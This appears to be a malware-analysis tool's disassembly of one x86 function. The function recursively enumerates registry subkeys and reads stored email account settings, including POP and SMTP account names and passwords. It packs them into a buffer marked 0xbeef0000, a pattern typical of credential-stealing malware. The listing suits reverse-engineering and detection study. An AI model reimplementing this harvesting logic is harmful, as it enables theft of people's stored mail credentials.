Function at 0x40e8d2
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7b8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40ebd9
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40e927
jmp 0x40ebd1
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d51
mov dword [ebp - 0x810], eax
push 0
push str.EmailAddress
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x814], eax
push 0
push str.Technology
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x818], eax
push 0
push str.PopServer
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x81c], eax
lea eax, [ebp - 0x824]
push eax
push str.PopPort
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x820], eax
push 0
push str.PopAccount
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x828], eax
lea eax, [ebp - 0x830]
push eax
push str.PopPassword
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x82c], eax
push 0
push str.SmtpServer
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x834], eax
lea eax, [ebp - 0x83c]
push eax
push str.SmtpPort
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x838], eax
push 0
push str.SmtpAccount
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x840], eax
lea eax, [ebp - 0x848]
push eax
push str.SmtpPassword
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x844], eax
cmp dword [ebp - 0x814], 0
je 0x40eb3f
cmp dword [ebp - 0x830], 0
jne 0x40ea8e
cmp dword [ebp - 0x848], 0
je 0x40eb3f
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.0040146e
push dword [ebp - 0x814]
push dword [ebp + 0x10]
call fcn.004014d0
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.004014d0
push dword [ebp - 0x81c]
push dword [ebp + 0x10]
call fcn.004014d0
push dword [ebp - 0x824]
push dword [ebp - 0x820]
push dword [ebp + 0x10]
call fcn.004014a4
push dword [ebp - 0x828]
push dword [ebp + 0x10]
call fcn.004014d0
push dword [ebp - 0x830]
push dword [ebp - 0x82c]
push dword [ebp + 0x10]
call fcn.004014a4
push dword [ebp - 0x834]
push dword [ebp + 0x10]
call fcn.004014d0
push dword [ebp - 0x83c]
push dword [ebp - 0x838]
push dword [ebp + 0x10]
call fcn.004014a4
push dword [ebp - 0x840]
push dword [ebp + 0x10]
call fcn.004014d0
push dword [ebp - 0x848]
push dword [ebp - 0x844]
push dword [ebp + 0x10]
call fcn.004014a4
push dword [ebp + 0x10]
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.0040e8d2
push dword [ebp - 0x810]
call fcn.004017bd
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x818]
call fcn.004017bd
push dword [ebp - 0x81c]
call fcn.004017bd
push dword [ebp - 0x820]
call fcn.004017bd
push dword [ebp - 0x828]
call fcn.004017bd
push dword [ebp - 0x82c]
call fcn.004017bd
push dword [ebp - 0x834]
call fcn.004017bd
push dword [ebp - 0x838]
call fcn.004017bd
push dword [ebp - 0x840]
call fcn.004017bd
push dword [ebp - 0x844]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x40e8f9
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc